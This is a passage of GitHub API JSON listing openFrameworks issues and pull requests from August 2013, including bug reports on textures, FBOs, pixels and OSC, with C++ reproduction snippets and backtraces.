frameworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":53,"closed_issues":8,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-08-21T01:16:45Z","due_on":"2013-10-31T07:00:00Z"},"comments":0,"created_at":"2013-08-20T21:30:09Z","updated_at":"2013-08-21T03:02:16Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/2493","diff_url":"https://github.com/openframeworks/openFrameworks/pull/2493.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/2493.patch"},"body":"~~Both `enableTextureTarget()` and `disableTextureTarget()` might raise some questions about their `const`-ness, but those member functions (which conditionally access an outside global state) are kind of awkwardly situated to begin with.\r\n\r\nThis is API changing and will likely break any addons that extend the various interfaces and helper classes (such as `ofVideoPlayer`).~~\r\n\r\n... in the meantime, this evolved into a little bigger (but still important project). I would propose that we not try to fix every little const problem in one PR, but this one can focus on video and images/pixels/textures, which are tightly coupled."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2492","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2492/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2492/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2492/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2492","id":18313623,"number":2492,"title":"add install scripts for openSUSE in scripts/linux/opensuse","user":{"login":"prusnak","id":42201,"avatar_url":"https://2.gravatar.com/avatar/b54b0eb056f30cc9c4daf193cf8eabae?d=https%3A%2F%2Fidenticons.github.com%2Ffca7ac68a9bcfe7ec3a017257471f198.png","gravatar_id":"b54b0eb056f30cc9c4daf193cf8eabae","url":"https://api.github.com/users/prusnak","html_url":"https://github.com/prusnak","followers_url":"https://api.github.com/users/prusnak/followers","following_url":"https://api.github.com/users/prusnak/following{/other_user}","gists_url":"https://api.github.com/users/prusnak/gists{/gist_id}","starred_url":"https://api.github.com/users/prusnak/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/prusnak/subscriptions","organizations_url":"https://api.github.com/users/prusnak/orgs","repos_url":"https://api.github.com/users/prusnak/repos","events_url":"https://api.github.com/users/prusnak/events{/privacy}","received_events_url":"https://api.github.com/users/prusnak/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2013-08-20T18:46:26Z","updated_at":"2013-08-20T19:04:01Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/2492","diff_url":"https://github.com/openframeworks/openFrameworks/pull/2492.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/2492.patch"},"body":"I created install scripts for openSUSE distribution by modifying the ones for Fedora."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2491","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2491/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2491/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2491/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2491","id":18283673,"number":2491,"title":"ofxOscReceiver crashes if space in the name","user":{"login":"jvcleave","id":150037,"avatar_url":"https://0.gravatar.com/avatar/9c0384a91739bea093f453cf40a59742?d=https%3A%2F%2Fidenticons.github.com%2F5ed96817efb118a36c00303b90e4b003.png","gravatar_id":"9c0384a91739bea093f453cf40a59742","url":"https://api.github.com/users/jvcleave","html_url":"https://github.com/jvcleave","followers_url":"https://api.github.com/users/jvcleave/followers","following_url":"https://api.github.com/users/jvcleave/following{/other_user}","gists_url":"https://api.github.com/users/jvcleave/gists{/gist_id}","starred_url":"https://api.github.com/users/jvcleave/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvcleave/subscriptions","organizations_url":"https://api.github.com/users/jvcleave/orgs","repos_url":"https://api.github.com/users/jvcleave/repos","events_url":"https://api.github.com/users/jvcleave/events{/privacy}","received_events_url":"https://api.github.com/users/jvcleave/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2013-08-20T08:36:18Z","updated_at":"2013-08-20T10:02:41Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"to replicate change \"check\" to \"check me\" in oscParametersReceiver and oscParametersSender\r\n\r\nbacktrace\r\n````\r\n#0 0x00026bf4 in ofxOscReceiver::getParameter (this=0x13dec14, parameter=@0x13ded9c) at ofxOscReceiver.cpp:235\r\n#1 0x00024d9d in ofxOscParameterSync::update (this=0x13dec10) at ofxOscParameterSync.cpp:31\r\n#2 0x00017c6c in ofApp::update (this=0x13dec00) at ofApp.cpp:27\r\n#3 0x0001613d in ofBaseApp::update (this=0x13dec00, args=@0x6acb35) at ofBaseApp.h:44\r\n#4 0x0031d3dc in Poco::PriorityDelegate::notify (this=, sender=0x0, arguments=) at PriorityDelegate.h:168\r\n#5 0x00321e0a in Poco::PriorityStrategy >::notify () at /Volumes/WORK_IN_PROGRESS/OPENFRAMEWORKS/openFrameworks/libs/poco/include/Poco/PriorityStrategy.h:81\r\n#6 0x00321e0a in Poco::AbstractEvent >, Poco::AbstractPriorityDelegate, Poco::FastMutex>::notify (this=, pSender=0x0, args=@0x6acb35) at PriorityStrategy.h:241\r\n#7 0x00320673 in ofNotifyEvent, ofEventArgs> (event=@0x13df450, args=@0x6acb35) at ofEventUtils.h:172\r\n#8 0x0031ffc0 in ofNotifyUpdate () at ofEvents.cpp:165\r\n#9 0x00363c89 in ofAppGLFWWindow::runAppViaInfiniteLoop (this=0xd3ca30, appPtr=0x13dec00) at ofAppGLFWWindow.cpp:286\r\n#10 0x00319feb in ofRunApp (OFSA=0x13dec00) at ofAppRunner.cpp:137\r\n#11 0x00002e6a in main () at main.cpp:11\r\n````\r\n![screen shot 2013-08-20 at 4 27 39 am](https://f.cloud.github.com/assets/150037/991978/7ca33fa8-0973-11e3-9dc4-299ff86d19a1.png)\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2490","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2490/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2490/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2490/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2490","id":18257205,"number":2490,"title":"OF_RECTMODE_CENTER not playing nice with textures (0.8.0)","user":{"login":"prisonerjohn","id":119702,"avatar_url":"https://0.gravatar.com/avatar/b52cabeecffe4497699db813a715456f?d=https%3A%2F%2Fidenticons.github.com%2F00cfaa1a8406a24a7a9f07482e2b1938.png","gravatar_id":"b52cabeecffe4497699db813a715456f","url":"https://api.github.com/users/prisonerjohn","html_url":"https://github.com/prisonerjohn","followers_url":"https://api.github.com/users/prisonerjohn/followers","following_url":"https://api.github.com/users/prisonerjohn/following{/other_user}","gists_url":"https://api.github.com/users/prisonerjohn/gists{/gist_id}","starred_url":"https://api.github.com/users/prisonerjohn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/prisonerjohn/subscriptions","organizations_url":"https://api.github.com/users/prisonerjohn/orgs","repos_url":"https://api.github.com/users/prisonerjohn/repos","events_url":"https://api.github.com/users/prisonerjohn/events{/privacy}","received_events_url":"https://api.github.com/users/prisonerjohn/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/regression","name":"regression","color":"e10c02"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":2,"created_at":"2013-08-19T19:01:24Z","updated_at":"2013-08-20T09:55:46Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"If I set `ofSetRectMode(OF_RECTMODE_CENTER);` textures are stuck to the top-left of the window, no matter what (x, y) params I give to `draw(x, y, w, h)`.\r\n\r\nHere is an example ofApp.h\r\n```cpp\r\n#pragma once\r\n\r\n#include \"ofMain.h\"\r\n\r\nclass ofApp : public ofBaseApp{\r\n\r\n\tpublic:\r\n\t\tvoid setup();\r\n\t\tvoid update();\r\n\t\tvoid draw();\r\n\r\n\t\tofImage image;\r\n};\r\n```\r\n\r\nAnd the matching ofApp.cpp\r\n```cpp\r\n#include \"ofApp.h\"\r\n\r\n//--------------------------------------------------------------\r\nvoid ofApp::setup(){\r\n ofSetRectMode(OF_RECTMODE_CENTER);\r\n \r\n image.loadImage(\"tdf_1972_poster.jpg\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid ofApp::update(){\r\n\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid ofApp::draw(){\r\n image.draw(mouseX, mouseY, 320, 240);\r\n ofRect(mouseX, mouseY, image.getWidth(), image.getHeight());\r\n}\r\n```\r\n\r\nHaving the same issue on tag `0.8.0` and `master`, with `ofImage` and `ofVideoPlayer`. It works as expected if I take out the call to `ofSetRectMode();`.\r\n\r\n![screen shot 2013-08-19 at 3 00 32 pm](https://f.cloud.github.com/assets/119702/988426/aea3da5c-0901-11e3-85e0-e03a44e6105a.png)\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2489","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2489/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2489/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2489/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2489","id":18249318,"number":2489,"title":"ofQTKitGrabber logs at verbose level, but ignores setVerbose","user":{"login":"admsyn","id":609318,"avatar_url":"https://1.gravatar.com/avatar/9bfde17cfd50ff8f12cae51ab1079d72?d=https%3A%2F%2Fidenticons.github.com%2Fd3361161dca2fbe24ffea23b9a2d233b.png","gravatar_id":"9bfde17cfd50ff8f12cae51ab1079d72","url":"https://api.github.com/users/admsyn","html_url":"https://github.com/admsyn","followers_url":"https://api.github.com/users/admsyn/followers","following_url":"https://api.github.com/users/admsyn/following{/other_user}","gists_url":"https://api.github.com/users/admsyn/gists{/gist_id}","starred_url":"https://api.github.com/users/admsyn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/admsyn/subscriptions","organizations_url":"https://api.github.com/users/admsyn/orgs","repos_url":"https://api.github.com/users/admsyn/repos","events_url":"https://api.github.com/users/admsyn/events{/privacy}","received_events_url":"https://api.github.com/users/admsyn/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2013-08-19T16:30:42Z","updated_at":"2013-08-20T09:47:57Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"In `listDevices` ofQTKitGrabber [logs devices at verbose level](https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/video/ofQTKitGrabber.mm#L144). However, it also [ignores setVerbose](https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/video/ofQTKitGrabber.mm#L923).\r\n\r\nThis means that seemingly correct code like:\r\n\r\n```\r\nvidGrabber.setVerbose(true);\r\nvidGrabber.listDevices();\r\n```\r\n\r\nprints nothing.\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2488","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2488/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2488/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2488/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2488","id":18213515,"number":2488,"title":"DONTMERGEYET - Feature updates HTTP Requests","user":{"login":"danthemellowman","id":719564,"avatar_url":"https://0.gravatar.com/avatar/79621943dfc6272eae9697464ad33696?d=https%3A%2F%2Fidenticons.github.com%2Fb03d3f3b4371f2676213314af7fe19d8.png","gravatar_id":"79621943dfc6272eae9697464ad33696","url":"https://api.github.com/users/danthemellowman","html_url":"https://github.com/danthemellowman","followers_url":"https://api.github.com/users/danthemellowman/followers","following_url":"https://api.github.com/users/danthemellowman/following{/other_user}","gists_url":"https://api.github.com/users/danthemellowman/gists{/gist_id}","starred_url":"https://api.github.com/users/danthemellowman/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danthemellowman/subscriptions","organizations_url":"https://api.github.com/users/danthemellowman/orgs","repos_url":"https://api.github.com/users/danthemellowman/repos","events_url":"https://api.github.com/users/danthemellowman/events{/privacy}","received_events_url":"https://api.github.com/users/danthemellowman/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":6,"created_at":"2013-08-18T20:44:29Z","updated_at":"2013-08-20T18:33:35Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/2488","diff_url":"https://github.com/openframeworks/openFrameworks/pull/2488.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/2488.patch"},"body":"Let me know what I should change. You can test the app I added to devApps, httpRequests, to see how it all works. Use the 1-7 keys to change between the different requests to HTTPBin. \r\n\r\n(I know I need to fix my computers' GIT accounts/setup they suffer from multiple personalities) "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2487","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2487/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2487/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2487/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2487","id":18203928,"number":2487,"title":"ofFBO::numColorbuffers BUG! . (of0.8.0)","user":{"login":"yty","id":841770,"avatar_url":"https://0.gravatar.com/avatar/a8010f501bbf6646afd69a8c3afc773a?d=https%3A%2F%2Fidenticons.github.com%2Ffd07b54170df1ee5062afa89905d7511.png","gravatar_id":"a8010f501bbf6646afd69a8c3afc773a","url":"https://api.github.com/users/yty","html_url":"https://github.com/yty","followers_url":"https://api.github.com/users/yty/followers","following_url":"https://api.github.com/users/yty/following{/other_user}","gists_url":"https://api.github.com/users/yty/gists{/gist_id}","starred_url":"https://api.github.com/users/yty/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/yty/subscriptions","organizations_url":"https://api.github.com/users/yty/orgs","repos_url":"https://api.github.com/users/yty/repos","events_url":"https://api.github.com/users/yty/events{/privacy}","received_events_url":"https://api.github.com/users/yty/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/regression","name":"regression","color":"e10c02"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":3,"created_at":"2013-08-18T06:39:24Z","updated_at":"2013-08-20T09:31:40Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"vs2012+win7+of0.80\r\n\r\nnumColorbuffers set anything, textureNum Always 1.\r\n\r\n...\r\n ofFbo\t\t\tbaseMaskFbo;\r\n ofFbo\t\t\tanalyzeFbo;\r\n\tofFbo::Settings s;\r\n\ts.width\t\t\t=1024;\r\n\ts.height\t\t\t= 768;\r\n\ts.internalformat = GL_LUMINANCE;\r\n\ts.numSamples\t\t= 0;\r\n\ts.numColorbuffers\t= 7; \r\n\tbaseMaskFbo.allocate(s);\r\n...\r\n\r\nof0.80:\r\n\tcout << baseMaskFbo.getNumTextures() << endl; ===> 1 BUG!!!\r\nof0.74:\r\n cout << baseMaskFbo.getNumTextures() << endl; ===> 7 OK!!!"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2485","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2485/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2485/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2485/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2485","id":18191632,"number":2485,"title":"The ofPixels OF0.74 and OF0.80 What is the difference?","user":{"login":"yty","id":841770,"avatar_url":"https://0.gravatar.com/avatar/a8010f501bbf6646afd69a8c3afc773a?d=https%3A%2F%2Fidenticons.github.com%2Ffd07b54170df1ee5062afa89905d7511.png","gravatar_id":"a8010f501bbf6646afd69a8c3afc773a","url":"https://api.github.com/users/yty","html_url":"https://github.com/yty","followers_url":"https://api.github.com/users/yty/followers","following_url":"https://api.github.com/users/yty/following{/other_user}","gists_url":"https://api.github.com/users/yty/gists{/gist_id}","starred_url":"https://api.github.com/users/yty/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/yty/subscriptions","organizations_url":"https://api.github.com/users/yty/orgs","repos_url":"https://api.github.com/users/yty/repos","events_url":"https://api.github.com/users/yty/events{/privacy}","received_events_url":"https://api.github.com/users/yty/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/regression","name":"regression","color":"e10c02"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/13/labels","id":375917,"number":13,"title":"0.8.1","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://2.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https%3A%2F%2Fidenticons.github.com%2Ffdc2f086849a4bfc788364d9226a1e1e.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":34,"closed_issues":9,"state":"open","created_at":"2013-07-11T13:25:32Z","updated_at":"2013-08-21T08:18:48Z","due_on":"2013-09-08T07:00:00Z"},"comments":2,"created_at":"2013-08-17T09:15:04Z","updated_at":"2013-08-20T09:28:32Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"```\r\nofPixels pixels;\r\nofImage img;\r\n\r\nofSetDataPathRoot(\"E:/Program Files/of_v0.8.0_vs_release/examples/graphics/imageLoaderExample/bin/data/images/\");\r\nimg.loadImage(\"transparency.png\");\r\nimg.getTextureReference().readToPixels(pixels);\r\n```\r\n\r\n0.74 => ok\r\n\r\n0.80 => error\r\n\r\n[ofPixels: error ] allocate(): unknown image type, not allocating\r\n[ofGLUtils: error ] ofGetGlFormatAndType(): internal format not recognized, returning GL_RGBA\r\n\r\nIf you add “pixels.allocate(img.getWidth(),img.getHeight(),OF_IMAGE_COLOR_ALPHA);”\r\n0.80=>error\r\n[ofPixels: error ] allocate(): unknown image type, not allocating"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2484","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2484/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2484/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2484/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2484","id":18191355,"number":2484,"title":"serialExample Exit exception . (of0.8.0)","user":{"login":"yty","id":841770,"avatar_url":"https://0.gravatar.com/avatar/a8010f501bbf6646afd69a8c3afc773a?d=https%3A%2F%2Fidenticons.github.com%2Ffd07b54170df1ee5062afa89905d7511.png","gravatar_id":"a8010f501bbf6646afd69a8c3afc773a","url":"https://api.github.com/users/yty","html_url":"https://github.com/yty","followers_url":"https://api.github.com/users/yty/followers","following_url":"https://api.github.com/users/yty/following{/other_user}","gists_url":"https://api.github.com/users/yty/gists{/gist_id}","starred_url":"https://api.github.com/users/yty/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/yty/subscriptions","organizations_url":"https://api.github.com/users/yty/orgs","repos_url":"https://api.github.com/users/yty/repos","events_url":"https://api.github.com/users/yty/events{/privacy}","received_events_url":"https://api.github.com/users/yty/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2013-08-17T08:38:59Z","updated_at":"2013-08-17T08:38:59Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"vs2012 +win7sp1+of0.8.0\r\n\r\nrelease and debug..compiler ===> pressed Esc \r\n\r\nrelease : ==> free.c \r\nvoid __cdecl _free_base (void * pBlock)\r\n{\r\n\r\n int retval = 0;\r\n\r\n\r\n if (pBlock == NULL)\r\n return;\r\n\r\n RTCCALLBACK(_RTC_Free_hook, (pBlock, 0));\r\n\r\n retval = HeapFree(_crtheap, 0, pBlock);\r\n if (retval == 0) ===========================>> Exception \r\n {\r\n errno = _get_errno_from_oserr(GetLastError());\r\n }\r\n}\r\n\r\ndebug: ===>xtree\r\n\r\nPairii _Eqrange(const key_type& _Keyval)\r\n\t\t{\t// find leftmost node not less than _Keyval\r\n\t\t_Nodeptr _Pnode = _Root();\r\n\t\t_Nodeptr _Lonode = this->_Myhead;\t// end() if search fails\r\n\t\t_Nodeptr _Hinode = this->_Myhead;\t// end() if search fails\r\n\r\n\t\twhile (!this->_Isnil(_Pnode)) ================>> Exception \r\n ........\r\n}\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2481","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2481/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2481/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2481/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2481","id":18182396,"number":2481,"title":"ofRectRounded does not respond to ofSetCircleResolution or ofSetCurveResolution","user":{"login":"rezaali","id":555207,"avatar_url":"https://2.gravatar.com/avatar/548374013b9c6e50ebbd2294e12d4f31?d=https%3A%2F%2Fidenticons.github.com%2F3a40e945e1f4b9b9b7a99b8d18c2c8c1.png","gravatar_id":"548374013b9c6e50ebbd2294e12d4f31","url":"https://api.github.com/users/rezaali","html_url":"https://github.com/rezaali","followers_url":"https://api.github.com/users/rezaali/followers","following_url":"https://api.github.com/users/rezaali/following{/other_user}","gists_url":"https://api.github.com/users/rezaali/gists{/gist_id}","starred_url":"https://api.github.com/users/rezaali/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rezaali/subscriptions","organizations_url":"https://api.github.com/users/rezaali/orgs","repos_url":"https://api.github.com/users/rezaali/repos","events_url":"https://api.github.com/users/rezaali/events{/privacy}","received_events_url":"https://api.github.com/users/rezaali/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2013-08-16T22:37:49Z","updated_at":"2013-08-20T09:22:39Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":""},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2479","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2479/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2479/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/2479/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/2479","id":18151262,"number":2479,"title":"add read-only access to programmable GL matrix stack","user":{"login":"tgfrerer","id":423509,"avatar_url":"https://2.gravatar.com/avatar/b37673dd0fb953e948cfd5475d49de9f?d=https%3A%2F%2Fidenticons.github.com%2F88b2d0ec0c458a087a93354fbcd730e6.png","gravatar_id":"b37673dd0fb953e948cfd5475d49de9f","url":"https://api.github.com/users/tgfrerer","html_url":"https://github.com/tgfrerer","followers_url":"https://api.github.com/users/tgfrerer/followers","following_url":"https://api.github.com/users/tgfrerer/following{/other_user}","gists_url":"https://api.github.com/users/tgfrerer/gists{/gist_id}","starred_url":"https://api.github.com/users/tgfrerer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tgfrerer/subscriptions","organizations_url":"https://api.github.com/users/tgfrerer/orgs","repos_url":"https://api.github.com/users/tgfrerer/repos","events_url":"https://api.github.com/users/tgfrerer/events{/privacy}","received_events_url":"https://api.github.com/users/tgfrerer/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2013-08-16T10:58:22Z","updated_at":"2013-08-19T15:48:30Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/2479","diff_url":"https://github.com/openframeworks/openFrameworks/pull/2479.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/2